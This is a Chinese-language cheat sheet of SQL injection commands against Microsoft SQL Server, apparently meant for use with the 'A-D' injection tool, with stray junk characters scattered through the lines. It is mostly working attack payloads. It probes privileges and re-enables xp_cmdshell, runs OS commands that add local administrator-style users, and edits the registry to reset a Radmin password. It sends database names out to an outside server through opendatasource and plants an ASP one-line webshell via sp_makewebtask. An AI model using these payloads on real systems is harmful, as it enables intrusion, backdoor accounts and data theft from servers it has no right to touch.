阿D常用的一些注入命令
* \# x% \5 B- G+ P- b: w//看看是什么权限的 S) e2 Z6 W, m! {6 t% ~4 T
and 1=(Select IS_MEMBER('db_owner'))
8 K- `; j: ?6 v* KAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
) p; S, Q$ b+ r/ I' R- \: Z8 m8 e4 q* U
//检测是否有读取某数据库的权限
) E4 W' K c+ I6 K8 o- j. h8 Zand 1= (Select HAS_DBACCESS('master'))
5 p. z0 S; e0 EAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
4 R7 c" Y' a) ]+ d6 V6 k0 `9 S" R* F: T. s* {. j
8 R# E* q- n% }7 d2 t8 E/ R
数字类型
7 X2 x' W, g3 j; U) yand char(124)%2Buser%2Bchar(124)=0& A' q% n6 ?% W3 t
( t& x/ C3 J, v1 @' z- P字符类型
: |4 L) Q9 c5 F' and char(124)%2Buser%2Bchar(124)=0 and ''='
* b* x2 J# D9 l( X; `% N, E5 A! l; Y* t- y; M4 n
搜索类型
' \- R9 N E+ f- M+ j6 j' and char(124)%2Buser%2Bchar(124)=0 and '%'='
1 m0 p! V1 P/ |" k
/ Z1 t8 L/ d& w/ C' `1 m爆用户名8 j- c8 H7 X/ {# q
and user>0
. {8 }/ S$ |/ D- c L3 i0 w: M" ?; }' and user>0 and ''='' i u. M# C7 `) G$ \
/ {; m+ [3 M5 O" ?8 B+ ~* S( a
检测是否为SA权限# H. _( n) D; `' D2 Y
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
. Y, M8 ^( r d6 \ |And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
; ?! }! `6 e9 E$ }, z/ ]$ s' @# Y) V$ }: J, v7 ~
检测是不是MSSQL数据库, |5 t" x7 o6 Y1 U5 V0 S
and exists (select * from sysobjects);--
# M, Q+ k) \7 n. t8 [7 @6 M
: T. l8 c3 X2 n, e; v4 l8 H' X检测是否支持多行9 A6 w T0 e' e$ y4 u9 a
;declare @d int;-- + j5 j( m* h+ c% d
9 U* M( a1 G/ o. o4 K( B恢复 xp_cmdshell v& b; S1 H$ i9 Q1 S
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
6 s) t, Q# n& a. U1 m* x- ^- l A' n0 ^
! P+ x/ y$ X. V& m1 k4 c# Fselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
( ^8 j1 F& l9 _7 I: U+ n- H/ A
//-----------------------: D' R q1 c- Y7 p- Z* l
// 执行命令( _' o7 F; |9 [6 i+ W8 K7 M" @( d
//-----------------------6 ^" @0 G9 e' c; k( v
首先开启沙盘模式:
: M2 a5 b7 R1 _* yexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
% d4 f1 |# [, n* v5 u& h
$ l, M1 h' d, O然后利用jet.oledb执行系统命令4 C/ Y* k5 k& x' `. Y; V
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'). T0 b% G& ~: Z/ Z3 O; l
@7 @, ]% m3 D; G* R- Q) \. r执行命令
9 z) l# t0 Z9 j/ o;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
1 F( @! A: m* U$ b% ~, z; p8 r& f) V: l! Q, ~. T, |" v
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'3 o$ {1 L# c5 o4 g: K4 x3 L
d. A) T- D0 q# d" u, F判断xp_cmdshell扩展存储过程是否存在:
, R0 R0 K6 {: N, Lhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')) p6 H: V' U/ y9 @! N
7 l6 C. ?2 b7 L# g4 q2 m* j( f写注册表! R( Q7 U$ s1 y6 j. }
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1( ~4 ?( T3 F, _2 F6 j0 R
5 k- }2 Y# u" S1 k" R2 k# _
REG_SZ! F( q0 [. G8 m3 k; R
7 T% J1 ?, |' a$ F) X% |
读注册表8 P% D* l6 A" ^& H7 n6 r) i
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'" x! F& o8 P4 |3 _. a' S/ T j
9 e0 d! b& z6 d- G
读取目录内容& ?! Z, E" K, ?7 b* F4 m
exec master..xp_dirtree 'c:\winnt\system32\',1,1+ C3 f% B' Y, C* Q
( v6 H4 d1 w; g6 t/ W
, E8 o; G! X0 g! J- H u数据库备份* P0 |1 v! ?! n7 @ i& i0 U! T: i
backup database pubs to disk = 'c:\123.bak'
# S& u# u# S- N+ |( T4 F+ }; w! z/ K
//爆出长度1 _8 t- j7 f! |" p( G, \
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
+ R" j; _) X, d' ^% j( i$ d
* H/ L3 a2 ^6 H6 [
, Y# |/ F: [; y# v# s$ w
: N& Y; `6 M" T w. D1 R更改sa口令方法:用sql综合利用工具连接后,执行命令:
4 F" e) g2 e% [2 A( `exec sp_password NULL,'新密码','sa'
7 B8 x+ @( F# M0 E" a4 F* [, K1 V0 T! Q5 O4 l# M% S
添加和删除一个SA权限的用户test:
9 h7 M2 P3 |7 D& I5 r# texec master.dbo.sp_addlogin test,ptlove
4 k4 _2 n R+ z, H1 ^exec master.dbo.sp_addsrvrolemember test,sysadmin- ~' f9 E) c$ s* m1 {; }3 g
1 o- y% X+ d$ {- `7 g( P" L M7 ?删除扩展存储过过程xp_cmdshell的语句:
- Z( b& t. z+ ^$ s5 }& Eexec sp_dropextendedproc 'xp_cmdshell'
- G+ {1 |6 z; F0 s$ k7 J) f
+ A' r, p' Q+ {$ B: {5 W4 d添加扩展存储过过程. O$ m+ z b3 i0 D4 E
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' % `4 t, V) ^$ W) p" }( H
GRANT exec On xp_proxiedadata TO public
! ~+ e1 @# x+ z9 z! y
$ A% V8 g, Y: A: `
5 g0 O. i$ p: n+ W" K4 Q2 x停掉或激活某个服务。
! i. Q! s6 ?5 |) l9 N6 f6 S
7 U$ f3 P0 {8 j6 |$ Wexec master..xp_servicecontrol 'stop','schedule'
L' c) F H. ]0 f& zexec master..xp_servicecontrol 'start','schedule'
+ z+ ~# w7 ~3 `1 V/ ^
/ N/ V- [+ y& |: f' Idbo.xp_subdirs
" [3 ?- [9 C/ q+ G, i$ w$ B/ D \# G1 H) |- ]; ]1 g1 J
只列某个目录下的子目录。& G( d1 y( `7 G0 J
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'! F! y% x% X" U1 |/ t3 ?/ D
. x6 K0 [4 F9 n: N( _+ v, rdbo.xp_makecab- Q$ t5 x' H! _! D; k
[" J& z. }3 ^8 F7 a
将目标多个档案压缩到某个目标档案之内。
7 {6 A5 L) B% P ~1 ?' S+ q所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。2 d- I! A' z* m& [
/ a- h& C: H- d Y3 G3 W+ Bdbo.xp_makecab
5 G- m9 ^8 r' t9 F, ]'c:\test.cab','mszip',1,
3 e; P! q7 w" l% a; x7 N9 x$ d'C:\Inetpub\wwwroot\SQLInject\login.asp',
" z4 q8 V, X( {'C:\Inetpub\wwwroot\SQLInject\securelogin.asp') l7 F. ]. y3 ?" c5 c; d
8 r& }7 p- x: w8 l. |2 p0 B/ z
xp_terminate_process
+ f/ s9 G% j: o8 O' A$ N9 k) B8 S' E4 q8 b$ A) z
停掉某个执行中的程序,但赋予的参数是 Process ID。, F5 ]/ C- e1 s O( T" Y
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
) F% x& b+ B# ~, J C) f2 {! u
" ]; W' S8 x) k' U5 a( z1 Cxp_terminate_process 2484! [* T2 C, a$ E
5 W3 H' o0 w( X8 Yxp_unpackcab
4 Y# i3 x0 y! _ g* ]% Y0 c9 N! O; U" o
解开压缩档。5 g2 S5 K- O9 @8 }
0 h# h6 `) ]" Q" J* m# m" M
xp_unpackcab 'c:\test.cab','c:\temp',1, q1 D6 T' V. r' P
& q% m2 \9 h3 U- V+ W
0 O2 l) G1 {7 @某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
( ^6 q7 Z5 }& a! e+ N: D. k5 p* P- r* {* N1 h9 Z* m
create database lcx;5 b6 c9 @! k& D$ x7 Y; j6 J+ m3 ^. Z
Create TABLE ku(name nvarchar(256) null);
& H# Y1 h6 P6 YCreate TABLE biao(id int NULL,name nvarchar(256) null);
0 H6 ?" Z } d4 C1 o0 Q' F
0 j, ^" O4 m+ d1 ?4 K. Z8 q& J//得到数据库名, R3 ^: |4 N, D2 e9 B `" J0 Y9 V
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases9 _$ N" c6 C# @* c Q8 M, r; w
' h8 g+ h# l" p1 l
: W8 |3 ]- R3 X% x; u c) F
//在Master中创建表,看看权限怎样6 g. ?/ k" q4 V- n
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
' X c) F, K6 C
* s& K& M4 O4 l. ?" A0 X/ z用 sp_makewebtask直接在web目录里写入一句话马:
* \3 X# ]4 M4 ?3 yhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
: N( `) f4 p( O c' V- S; E# s3 L3 A9 [" F% |" i# t( I" p9 H
//更新表内容
- w! n' _# V4 a$ w( g, o$ RUpdate films SET kind = 'Dramatic' Where id = 123
. y: I' c" U5 j! N/ {" h; G8 d- t% [9 E. V2 d5 z
//删除内容- W0 \& X! e8 D/ u6 i' w6 N
delete from table_name where Stockid = 3 |